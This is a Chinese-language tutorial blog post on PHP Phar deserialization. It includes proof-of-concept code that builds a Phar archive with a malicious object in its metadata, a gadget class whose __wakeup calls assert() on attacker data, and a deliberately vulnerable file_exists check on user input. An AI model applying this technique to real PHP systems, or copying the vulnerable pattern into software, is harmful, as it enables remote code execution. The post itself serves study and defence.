0x00 前言
入職以來好久沒有寫過文章了,入職的時間里也和師傅們學到了很多,認識了很多的新朋友。最近因為BlackHat 黑客大會的一個議題,PHP反序列化漏洞利用被挖掘出新的攻擊面。這里本着記錄學習的目的,有了這篇文章。
0x01 Phar 反序列化
你看到本文,我默認認為你已經對PHP反序列化漏洞原理以及成因有所了解,如果不了解可以參考我之前的文章,這里就不多講了。根據漏洞的原理,影響PHP反序列化漏洞利用的就一個函數unserialize(),這里所謂新的攻擊面就是Phar協議解包時候觸發的反序列化漏洞。
首先生成Phar文件,擴展名可以自己定義。代碼如下(phar.php):
<?php require_once('Evil.class.php'); $exception = new Evil('phpinfo()'); $phar = new Phar("vul.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php__HALT_COMPILER(); ?>"); $phar->setMetadata($exception); $phar->stopBuffering(); ?>
Evil類的定義如下(Evil.class.php):
<?php class Evil { protected $val; function __construct($val) { $this->val = $val; } function __wakeup() { assert($this->val); } } ?>
在訪問第一個文件(Phar.php)之后會生成一個文件名是vul.phar的文件,內容如下:
可以看到中間有序列化之后的字符。其實Phar在打包一個文件的時候是會對其進行序列化的。然后我們訪問(test.php), 代碼如下:
require_once('Evil.class.php'); if ( file_exists($_REQUEST['url']) ) { echo 'success!'; } else { echo 'error!'; }
訪問結果如圖:
0x02 如何挖掘
從以上的實驗中,我們可以得出一個結論,漏洞的利用條件有三點:
第一,存在反序列化的輸入點,這里就是存在能夠訪問的phar歸檔文件;
第二,存在漏洞觸發點,這里是存在類似file_exists這樣的函數,並且文件名完整可控;
第三,存在能夠利用的類。
其中第三點,我們很清楚,這是反序列化漏洞的必備條件,第二點則相當於原先的unserialize。